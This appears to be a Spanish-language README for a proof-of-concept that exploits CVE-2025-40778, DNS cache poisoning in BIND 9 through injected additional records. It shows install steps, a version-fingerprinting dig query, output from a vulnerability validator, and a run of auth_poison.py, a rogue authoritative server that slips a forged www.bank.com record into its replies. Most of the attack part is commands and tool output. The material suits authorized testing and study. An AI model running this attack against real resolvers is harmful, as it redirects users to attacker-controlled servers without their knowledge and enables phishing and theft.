
Prueba de concepto que demuestra el envenenamiento de caché DNS mediante la inyección de registros adicionales en BIND 9, con herramientas para validar y explotar CVE-2025-40778 para pruebas de seguridad autorizadas.
Demostración educativa de la vulnerabilidad de envenenamiento de caché DNS mediante inyección de registros adicionales.
SOLO CON FINES EDUCATIVOS
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado de esta herramienta contra sistemas que no posee o para los cuales no tiene permiso explícito de prueba es ilegal y poco ético.
El autor no asume ninguna responsabilidad por el mal uso o los daños causados por esta herramienta.
Esta PoC demuestra cómo un servidor DNS autoritativo comprometido puede inyectar registros envenenados en las respuestas DNS, redirigiendo potencialmente a los usuarios a servidores maliciosos sin su conocimiento.
Vector de ataque:
Escenarios posibles:
👤 Autor y Contacto
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Esta herramienta detecta si es posible explotar la vulnerabilidad CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Descripción: En este paso, se lanza el servidor DNS autoritativo malicioso que simula un servidor de nombres comprometido. El servidor escucha en una IP y puerto específicos (127.0.0.2:5301), listo para inyectar registros DNS envenenados en las respuestas. Cuando está configurado, responderá a consultas legítimas para www.test.local con la dirección IP correcta, pero simultáneamente inyectará un registro malicioso para www.bank.com que apunta a una IP controlada por el atacante. Este comportamiento de doble respuesta es el núcleo del ataque de envenenamiento de caché: el resolver DNS vulnerable almacenará en caché tanto la respuesta legítima como el registro envenenado, aunque solo se haya solicitado un dominio.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Descripción: Aquí se realiza una consulta DNS estándar a través del resolver local (BIND) para verificar que la infraestructura funciona correctamente. La consulta para www.test.local debería devolver la dirección IP legítima (192.168.0.136) como se espera. En este punto, la respuesta parece normal para el usuario final: no hay indicación visible de compromiso. Sin embargo, entre bastidores, el resolver DNS vulnerable ya ha almacenado en caché ambos registros: el legítimo que solicitó Y el registro envenenado para www.bank.com que se inyectó en la sección adicional de la respuesta. Este paso confirma que el resolver DNS se comunicó exitosamente con el servidor autoritativo malicioso y procesó su respuesta.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87